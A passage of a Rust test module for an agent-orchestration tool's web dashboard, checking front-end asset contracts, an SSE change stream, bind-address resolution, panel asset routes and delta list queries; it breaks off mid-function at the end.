20381        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
20382        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20383    }
20384
20385    /// Chat rows are two lines at every width: the title alone, then the
20386    /// shrinkable secondary info.
20387    #[test]
20388    fn chat_rows_put_the_title_alone_on_the_first_line() {
20389        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
20390        assert!(APP_CSS.contains(
20391            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20392        ));
20393        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20394        assert!(APP_JS.contains("class: \"badge talk-unread\""));
20395    }
20396
20397    #[test]
20398    fn run_rows_put_the_title_alone_on_the_first_line() {
20399        assert!(
20400            APP_CSS.contains(
20401                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
20402            )
20403        );
20404        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20405        assert!(APP_JS.contains("class: \"card run-card\""));
20406        assert!(APP_JS.contains("class: \"repo run-id\""));
20407    }
20408
20409    /// Wide screens get a master/detail layout built from the views a phone
20410    /// drills into. These are string assertions: they pin the contract between
20411    /// the three assets, not how it looks.
20412    #[test]
20413    fn wide_screens_show_list_and_preview_side_by_side() {
20414        // One breakpoint, spelled the same in the script and the stylesheet.
20415        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20416        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20417        assert!(APP_CSS.contains("main[data-split]"));
20418        assert!(APP_CSS.contains("body[data-split]"));
20419
20420        // The route -> panes table, and a narrow screen opting out of it.
20421        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
20422        assert!(
20423            APP_JS.contains(
20424                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20425            )
20426        );
20427        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20428        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20429        assert!(INDEX_HTML.contains("id=\"split-empty\""));
20430
20431        // Selection is derived from the route, and only ever paints a row.
20432        assert!(APP_JS.contains("function markSelected() {"));
20433        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20434        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20435        // The dense row must override the stacked card the 720px block sets up.
20436        assert!(
20437            APP_CSS.contains(
20438                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20439            )
20440        );
20441
20442        // Independent scrolling: the page stops scrolling, each pane does.
20443        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20444        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20445        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20446        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20447
20448        // A refresh must never navigate: the loaders still check that their
20449        // subject is the one on screen, and crossing the breakpoint only
20450        // re-reads the hash.
20451        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20452        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20453        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20454        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20455
20456        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
20457        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20458    }
20459
20460    #[test]
20461    fn panel_sandbox_carries_exactly_popups() {
20462        let needle = "sandbox: \"";
20463        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20464        assert_eq!(
20465            matches.len(),
20466            1,
20467            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20468        );
20469        let start = matches[0].0 + needle.len();
20470        let end = APP_JS[start..]
20471            .find('"')
20472            .expect("sandbox attribute value must be terminated by a closing quote");
20473        let val = &APP_JS[start..start + end];
20474        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20475        let expected: std::collections::BTreeSet<&str> =
20476            ["allow-popups", "allow-popups-to-escape-sandbox"]
20477                .into_iter()
20478                .collect();
20479        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20480        assert!(
20481            !tokens.contains("allow-scripts"),
20482            "allow-scripts must never be present in sandbox"
20483        );
20484        assert!(
20485            !tokens.contains("allow-same-origin"),
20486            "allow-same-origin must never be present in sandbox"
20487        );
20488    }
20489
20490    #[test]
20491    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20492        // consumeQueueFocus() clears an active Backlog search before it can
20493        // scroll to the target card (the sections list is hidden while a
20494        // search is showing), by recursing back into renderQueue(). The
20495        // fixer's first cut nulled state.queueFocus before that recursive
20496        // call, so the second pass saw nothing to jump to and the jump was
20497        // silently dropped whenever a notification's link was opened with a
20498        // stale search still active. state.queueFocus must only be cleared
20499        // right before jumpToTask() actually runs.
20500        assert!(
20501            APP_JS.contains(
20502                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
20503            ),
20504            "the search-clearing branch must run before state.queueFocus is cleared, or the \
20505             recursive renderQueue() call has nothing left to jump to"
20506        );
20507        assert!(
20508            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20509            "state.queueFocus must be cleared only once the jump has landed, so a card that \
20510             arrives later still gets it"
20511        );
20512        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20513        assert!(APP_JS.contains("is not in the current Backlog."));
20514        assert!(APP_JS.contains("li.card[data-task-id=\""));
20515        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20516        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20517        assert!(APP_CSS.contains(".card-permalink"));
20518        assert!(APP_CSS.contains(".queue-focus-status"));
20519        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20520    }
20521
20522    #[test]
20523    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20524        // The task's own repro: only the link text inside .notice-meta was
20525        // clickable, so a tap on the message, the timestamp, or the card's
20526        // padding did nothing - on a phone that reads as "the card doesn't
20527        // work" even though the tiny link inside it did. Mark read / Dismiss
20528        // must keep working independently of this: `.closest("a, button")`
20529        // is what lets a tap that actually lands on those elements fall
20530        // through instead of being hijacked into a navigation.
20531        assert!(
20532            APP_JS.contains(
20533                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20534            ),
20535            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20536        );
20537    }
20538
20539    #[test]
20540    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20541        assert!(
20542            APP_JS.contains("round.verified_head !== round.head"),
20543            "a round that verified an earlier commit must be visibly distinct from one that \
20544             verified the head reviewers are looking at now"
20545        );
20546        assert!(
20547            APP_JS.contains("round.verified_at"),
20548            "when a check ran must be on the wire, not just which commit"
20549        );
20550        assert!(
20551            APP_JS.contains("resource_blocked"),
20552            "a command magi never got to run (shared build cache contention) must not render \
20553             the same as a command that ran and failed"
20554        );
20555    }
20556
20557    #[test]
20558    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20559        // Every KPI tile but Total runs and Completion names an exact
20560        // RunStatus and hands it to openRunsFiltered(), which is what wires
20561        // the click into state.runsFilter.status (matchesFilter's own
20562        // status check) rather than the coarser runsStateFilter chips. Each
20563        // status literal here must be one of the strings runSection() (and
20564        // isStale()) actually compare a run's own `status` field against -
20565        // a status this dashboard invented would filter to nothing.
20566        assert!(
20567            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20568            "every KPI tile built through statusTile() must route its click through \
20569             openRunsFiltered, the single place that sets the Runs filter"
20570        );
20571        for (label, status) in [
20572            ("Merged", "merged"),
20573            ("Ready", "ready"),
20574            ("Blocked", "blocked"),
20575            ("Stalled", "stalled"),
20576        ] {
20577            let call = format!("statusTile(\"{label}\", t.{status}, ");
20578            assert!(
20579                APP_JS.contains(&call),
20580                "expected the {label} KPI tile built via {call}..."
20581            );
20582            assert!(
20583                APP_JS.contains(&format!("status === \"{status}\"")),
20584                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20585                 compare a run against, not one invented only for the stats tile"
20586            );
20587        }
20588        assert!(
20589            APP_JS.contains("function openRunsFiltered(status)"),
20590            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20591        );
20592        assert!(
20593            APP_JS.contains(
20594                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20595            ),
20596            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20597        );
20598        // applyRoute() only flips which view is visible for a plain `#runs`
20599        // hash - it does not itself redraw the list (see applyRoute's own
20600        // handling below) - so openRunsFiltered must call renderRuns()
20601        // itself, and must call applyRoute() too so the view flips even
20602        // when the hash string doesn't change (the operator may already be
20603        // on the Runs view when a tile is tapped, which fires no
20604        // hashchange event at all).
20605        assert!(
20606            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
20607            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20608             hashchange event that may never fire"
20609        );
20610    }
20611
20612    #[test]
20613    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20614        // A stats tile can leave state.runsFilter.status set to something
20615        // done-by-construction (e.g. "merged") - picking "Active" afterward
20616        // must drop it the same way an incompatible tree section is already
20617        // dropped, or the Runs list renders permanently empty with no way
20618        // for the operator to tell why.
20619        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20620        assert!(
20621            APP_JS.contains(
20622                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
20623            ),
20624            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20625             guard for an incompatible tree section"
20626        );
20627    }
20628
20629    #[test]
20630    fn every_stats_queue_tile_names_a_real_queue_section() {
20631        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
20632        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
20633        // (consumeQueueSectionFocus finds no matching <details> and drops
20634        // the focus) rather than fail loudly, so pin every key against the
20635        // section list it has to resolve against.
20636        assert!(
20637            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20638            "every queue tile built through sectionTile() must route its click through \
20639             openQueueSectionFocus"
20640        );
20641        for key in ["upnext", "running", "done", "held", "blocked"] {
20642            assert!(
20643                APP_JS.contains(&format!("{{ key: \"{key}\",")),
20644                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20645            );
20646        }
20647        // Queued and Failed intentionally both resolve to "upnext" - the
20648        // same section queueSection() itself files them under - rather than
20649        // getting a section each.
20650        for line in [
20651            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20652            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20653            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20654            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20655            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20656            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20657        ] {
20658            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20659        }
20660    }
20661
20662    #[test]
20663    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20664        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
20665        // above for the section-focus channel a stats queue tile drives:
20666        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
20667        // through the stale-search-clear recursion into renderQueue(), and
20668        // clear it only once revealQueueSection() is actually about to run -
20669        // the same trap that once silently dropped a task-focus jump.
20670        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20671        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20672        assert!(APP_JS.contains("function revealQueueSection(details)"));
20673        assert!(
20674            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
20675            "renderQueue() must consume both focus channels on every pass"
20676        );
20677        assert!(
20678            APP_JS.contains(
20679                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
20680            ),
20681            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20682             the recursive renderQueue() call has nothing left to reveal"
20683        );
20684        assert!(
20685            APP_JS.contains(
20686                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
20687            ),
20688            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20689        );
20690        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
20691        // task-focus form of the hash - a plain `#queue` navigation only
20692        // flips which view is visible. openQueueSectionFocus() must
20693        // therefore call renderQueue() itself, and applyRoute() too so the
20694        // view flips even when the hash doesn't change (the Backlog may
20695        // already be open when a tile is tapped, firing no hashchange
20696        // event at all).
20697        assert!(
20698            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
20699            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20700             hashchange event that may never fire"
20701        );
20702    }
20703
20704    #[tokio::test]
20705    async fn the_change_stream_announces_the_current_revisions_on_connect() {
20706        let f = Fixture::start().await;
20707
20708        let mut socket = tokio::net::TcpStream::connect(f.addr)
20709            .await
20710            .expect("connect");
20711        socket
20712            .write_all(
20713                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20714            )
20715            .await
20716            .expect("write request");
20717
20718        // Read until the first event arrives rather than to end of stream: the
20719        // stream is endless by design, which is the point of the route.
20720        let mut seen = String::new();
20721        let mut buf = [0u8; 1024];
20722        while !seen.contains("event: change") {
20723            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20724                .await
20725                .expect("the stream must speak within five seconds")
20726                .expect("read");
20727            assert!(read > 0, "the server closed the change stream: {seen}");
20728            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20729        }
20730
20731        assert!(
20732            seen.to_lowercase()
20733                .contains("content-type: text/event-stream"),
20734            "the browser only reconnects automatically for a real SSE stream: {seen}"
20735        );
20736        let data = seen
20737            .lines()
20738            .find_map(|l| l.strip_prefix("data:"))
20739            .expect("a data line");
20740        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20741        assert!(
20742            payload["queue_rev"].is_u64()
20743                && payload["runs_rev"].is_u64()
20744                && payload["questions_rev"].is_u64()
20745                && payload["talks_rev"].is_u64()
20746                && payload["notifications_rev"].is_u64()
20747                && payload["loop_rev"].is_u64(),
20748            "the client needs one revision per store to know what to refetch, \
20749             and `talks_rev` is the only notification a standing talk gets - a \
20750             phone whose radio slept through a turn learns about it here, as \
20751             does one whose operator started the loop from another device: \
20752             {payload}"
20753        );
20754
20755        // The front end re-polls health on a timer and on wake, and takes the
20756        // revisions from that answer whenever the stream is not up. So health
20757        // has to carry every key the stream carries: a phone on a link that
20758        // will not hold an SSE connection is exactly the phone that must still
20759        // notice a question, and a missing key there is not a 500 but a UI
20760        // that quietly stops updating.
20761        let health = f.get("/api/health").await.json();
20762        for key in [
20763            "queue_rev",
20764            "runs_rev",
20765            "questions_rev",
20766            "talks_rev",
20767            "notifications_rev",
20768            "loop_rev",
20769        ] {
20770            assert!(
20771                health[key].is_u64(),
20772                "health is the change stream's fallback and is missing `{key}`: {health}"
20773            );
20774        }
20775    }
20776
20777    #[tokio::test]
20778    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20779        let f = Fixture::start().await;
20780        let before = f.get("/api/health").await.json()["talks_rev"]
20781            .as_u64()
20782            .expect("talks_rev");
20783
20784        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20785        std::thread::sleep(Duration::from_millis(10));
20786        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20787        on_disk.turns.push(crate::talk::Turn {
20788            sender: None,
20789            breaks: Some(Vec::new()),
20790            messages: Vec::new(),
20791            posted_by: None,
20792            who: crate::talk::Who::Operator,
20793            body: "a new turn".to_owned(),
20794            at: Timestamp::now(),
20795            attachments: Vec::new(),
20796            usage: None,
20797        });
20798        f.talks().put(&mut on_disk).expect("record a turn");
20799
20800        let after = tokio::time::timeout(Duration::from_secs(5), async {
20801            loop {
20802                let revision = f.get("/api/health").await.json()["talks_rev"]
20803                    .as_u64()
20804                    .unwrap();
20805                if revision != before {
20806                    break revision;
20807                }
20808                tokio::time::sleep(Duration::from_millis(50)).await;
20809            }
20810        })
20811        .await
20812        .expect("shared monitor observes external turn");
20813        assert_ne!(
20814            before, after,
20815            "a phone must be able to notice a talk's reply without polling every store"
20816        );
20817    }
20818
20819    #[test]
20820    fn bind_reads_back_from_the_spelling_the_cli_prints() {
20821        // The CLI shows the default in `--help` and parses whatever comes
20822        // back, so the two directions have to agree or `--bind auto` breaks
20823        // the moment someone copies the help text.
20824        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20825            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20826        }
20827        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20828        assert!("everywhere".parse::<Bind>().is_err());
20829    }
20830
20831    #[test]
20832    fn an_explicit_bind_address_is_taken_verbatim() {
20833        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20834
20835        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20836
20837        assert_eq!(addr, asked);
20838        assert!(
20839            warning.is_none(),
20840            "an operator who named an address gets no lecture"
20841        );
20842    }
20843
20844    #[test]
20845    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20846        let (addr, warning) = resolve_bind(&Bind::Auto);
20847
20848        // This has to hold on a CI runner with no `tailscale` and on a dev box
20849        // with one, so the invariant asserted is the one shared by both
20850        // outcomes: the address is either a real tailnet address offered
20851        // without comment, or loopback with an explanation. What must never
20852        // happen is a silent fallback - an operator told "listening on
20853        // 127.0.0.1" with no reason would go looking for a firewall.
20854        match addr {
20855            IpAddr::V4(ip) if is_tailnet(&ip) => {
20856                assert!(warning.is_none(), "a tailnet address needs no warning");
20857            }
20858            other => {
20859                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20860                let warning = warning.expect("a fallback has to explain itself");
20861                assert!(
20862                    warning.contains("127.0.0.1") && warning.contains("local-only"),
20863                    "the warning says what happened and what it costs: {warning}"
20864                );
20865            }
20866        }
20867    }
20868
20869    #[test]
20870    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20871        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
20872        // boundary cases are what stop us binding to some other tool's idea of
20873        // an address.
20874        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20875        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20876        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20877        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20878        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20879    }
20880
20881    #[test]
20882    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20883        let ids = vec![
20884            "20260902-140501-aaaa".to_owned(),
20885            "20260902-140502-aabb".to_owned(),
20886        ];
20887
20888        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20889        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20890        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20891
20892        assert_eq!(missing.status, StatusCode::NOT_FOUND);
20893        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20894        assert_eq!(short, "20260902-140502-aabb");
20895    }
20896    #[tokio::test]
20897    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20898        // The prompt tells agents to reference attachments by bare filename.
20899        // A document served at `.../panel` resolves `shot.png` against its own
20900        // directory, i.e. `.../shot.png`, which is not the asset route - so a
20901        // panel written exactly as instructed showed broken images. Caught by
20902        // looking at a real one in a browser, not by reading the code.
20903        let fx = Fixture::start().await;
20904        let id = panel(
20905            &fx,
20906            "<img src=\"shot.png\">",
20907            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20908        );
20909
20910        // The frame's own URL ends in a filename, so its siblings are reachable.
20911        let doc = fx
20912            .get(&format!("/api/questions/{id}/panel/index.html"))
20913            .await;
20914        assert_eq!(doc.status, 200, "{}", doc.body);
20915        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20916
20917        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20918        assert_eq!(sibling.status, 200, "{}", sibling.body);
20919        assert_eq!(sibling.header("content-type"), Some("image/png"));
20920        assert_eq!(
20921            sibling.header("content-security-policy"),
20922            Some(PANEL_CSP),
20923            "the sibling route must carry the same policy as the asset route"
20924        );
20925
20926        // The original spelling keeps working: HEAD on it is how the front end
20927        // decides whether to mount a frame at all.
20928        assert_eq!(
20929            fx.head(&format!("/api/questions/{id}/panel")).await.status,
20930            200
20931        );
20932    }
20933
20934    #[test]
20935    fn delta_stamps_cover_add_update_remove_and_noop() {
20936        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20937        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20938        let delta = diff_stamps(&before, &after, 42);
20939        assert_eq!(delta.base, 42);
20940        assert_eq!(delta.changed, ["b", "c"]);
20941        assert_eq!(delta.removed, ["a"]);
20942        let same = diff_stamps(&after, &after, 43);
20943        assert!(same.changed.is_empty() && same.removed.is_empty());
20944        assert_ne!(stamps_revision(&before), stamps_revision(&after));
20945        let nanos: Stamps = [("b".into(), (2, 20))].into();
20946        let same_ms: Stamps = [("b".into(), (3, 20))].into();
20947        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20948        assert_eq!(stamps_revision(&Stamps::new()), 0);
20949    }
20950
20951    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20952        std::fs::create_dir_all(home.join("runs")).unwrap();
20953        Arc::new(
20954            Ui::new(
20955                Queue::at(home.join("queue")),
20956                Questions::at(home.join("questions")),
20957                Talks::at(home.join("talks")),
20958                home.join("runs"),
20959                home.to_owned(),
20960                PathBuf::from("/repo/magi"),
20961            )
20962            .with_worktrees_root(home.join("wt")),
20963        )
20964    }
20965
20966    #[test]
20967    fn monitor_scan_isolates_store_failures_and_recovers() {
20968        let home = TempDir::new().unwrap();
20969        let ui = delta_test_ui(home.path());
20970        std::fs::create_dir_all(ui.questions.root()).unwrap();
20971        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20972        let before = monitor_scan(&ui, None);
20973        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20974        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20975        std::fs::create_dir_all(ui.talks.root()).unwrap();
20976        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20977        let during = monitor_scan(&ui, Some(before.clone()));
20978        assert_eq!(during.0.2, before.0.2);
20979        assert_ne!(during.0.3, before.0.3);
20980        assert!(during.1[2].contains_key("new"));
20981        std::fs::remove_file(ui.questions.root()).unwrap();
20982        let after = monitor_scan(&ui, Some(during));
20983        assert_eq!(after.0.2, 0);
20984        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20985        // A failed first scan also permits healthy stores to publish.
20986        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20987        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20988    }
20989
20990    #[tokio::test]
20991    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20992        let home = TempDir::new().unwrap();
20993        let ui = delta_test_ui(home.path());
20994        let mut task = Task::new(
20995            "stream task".into(),
20996            "text".into(),
20997            PathBuf::from("/repo"),
20998            Source::Human,
20999        );
21000        ui.queue.put(&mut task).unwrap();
21001        let response = events(State(ui.clone())).await.into_response();
21002        let mut stream = response.into_body().into_data_stream();
21003        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
21004            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
21005                .await
21006                .unwrap()
21007                .unwrap()
21008                .unwrap();
21009            let text = String::from_utf8(chunk.to_vec()).unwrap();
21010            let data = text
21011                .lines()
21012                .find_map(|line| {
21013                    line.strip_prefix("data: ")
21014                        .or_else(|| line.strip_prefix("data:"))
21015                })
21016                .unwrap();
21017            serde_json::from_str(data).unwrap()
21018        }
21019        let initial = change(&mut stream).await;
21020        assert!(initial.get("queue_delta").is_none());
21021        task.instruction.push_str(" changed");
21022        ui.queue.put(&mut task).unwrap();
21023        let updated = change(&mut stream).await;
21024        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
21025        assert_eq!(
21026            updated["queue_delta"]["changed"],
21027            serde_json::json!([task.id])
21028        );
21029        assert_eq!(
21030            updated["queue_rev"].as_u64(),
21031            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
21032        );
21033        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
21034        let removed = change(&mut stream).await;
21035        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
21036        assert_eq!(
21037            removed["queue_delta"]["removed"],
21038            serde_json::json!([task.id])
21039        );
21040    }
21041
21042    #[tokio::test]
21043    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
21044        let home = TempDir::new().unwrap();
21045        let ui = delta_test_ui(home.path());
21046        let queue = ui.queue.clone();
21047        let query = |ids: Option<&str>| {
21048            Query(ListQuery {
21049                limit: Some(2),
21050                ids: ids.map(str::to_owned),
21051            })
21052        };
21053        let mut root = Task::new(
21054            "root".into(),
21055            "instruction".into(),
21056            PathBuf::from("/repo"),
21057            Source::Human,
21058        );
21059        queue.put(&mut root).unwrap();
21060        let mut blocked = Task::new(
21061            "blocked".into(),
21062            "instruction".into(),
21063            PathBuf::from("/repo"),
21064            Source::Human,
21065        );
21066        blocked.block(vec![root.id.clone()], None);
21067        queue.put(&mut blocked).unwrap();
21068        let whole =
21069            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
21070                .unwrap();
21071        let subset = serde_json::to_value(
21072            queue_list(State(ui.clone()), query(Some(&root.id)))
21073                .await
21074                .unwrap()
21075                .0,
21076        )
21077        .unwrap();
21078        assert_eq!(whole, subset, "requested root plus its blocked dependent");
21079        let blockers = serde_json::to_value(
21080            queue_list(State(ui.clone()), query(Some("")))
21081                .await
21082                .unwrap()
21083                .0,
21084        )
21085        .unwrap();
21086        assert_eq!(blockers.as_array().unwrap().len(), 1);
21087        assert_eq!(blockers[0]["id"], blocked.id);
21088        assert_eq!(
21089            blockers[0]["waits_on"],
21090            whole
21091                .as_array()
21092                .unwrap()
21093                .iter()
21094                .find(|row| row["id"] == blocked.id)
21095                .unwrap()["waits_on"]
21096        );
21097
21098        for id in [
21099            "20260902-140501-aaaa",
21100            "20260902-140502-bbbb",
21101            "20260902-140503-cccc",
21102        ] {
21103            write_run(&ui.runs, id, RunStatus::Merged);
21104        }
21105        let old = serde_json::to_value(
21106            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
21107                .await
21108                .unwrap()
21109                .0,
21110        )
21111        .unwrap();
21112        assert!(
21113            old.as_array().unwrap().is_empty(),
21114            "older updates must not enter the window"
21115        );
21116        let newest = serde_json::to_value(
21117            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
21118                .await
21119                .unwrap()
21120                .0,
21121        )
21122        .unwrap();
21123        assert_eq!(newest.as_array().unwrap().len(), 1);
21124        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
21125
21126        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
21127        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
21128        let talks = serde_json::to_value(
21129            talks_list(
21130                State(ui.clone()),
21131                query(Some("20260905-000000-d4e5")),
21132                header::HeaderMap::new(),
21133            )
21134            .await
21135            .unwrap()
21136            .0,
21137        )
21138        .unwrap();
21139        assert_eq!(talks.as_array().unwrap().len(), 1);
21140        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
21141        assert_eq!(
21142            serde_json::to_value(
21143                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
21144                    .await
21145                    .unwrap()
21146                    .0
21147            )
21148            .unwrap(),
21149            serde_json::json!([])
21150        );
21151    }
21152
21153    #[tokio::test]
21154    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
21155    async fn delta_payload_benchmark() {
21156        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
21157        let ui = delta_test_ui(&home);
21158        let query = |ids: Option<String>| {
21159            Query(ListQuery {
21160                limit: Some(50),
21161                ids,
21162            })
21163        };
21164        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
21165        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
21166        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
21167            .await
21168            .unwrap()
21169            .0;
21170        let queue_id = queue
21171            .iter()
21172            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
21173            .unwrap_or(&queue[0])
21174            .task
21175            .id
21176            .clone();
